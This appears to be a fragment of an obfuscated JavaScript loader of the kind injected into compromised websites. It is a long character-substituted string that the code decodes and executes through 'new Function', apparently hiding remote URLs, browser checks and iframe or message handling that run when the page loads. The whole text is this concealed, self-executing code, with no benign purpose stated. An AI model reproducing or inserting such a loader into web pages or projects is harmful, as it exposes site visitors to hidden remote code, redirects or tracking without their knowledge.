5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();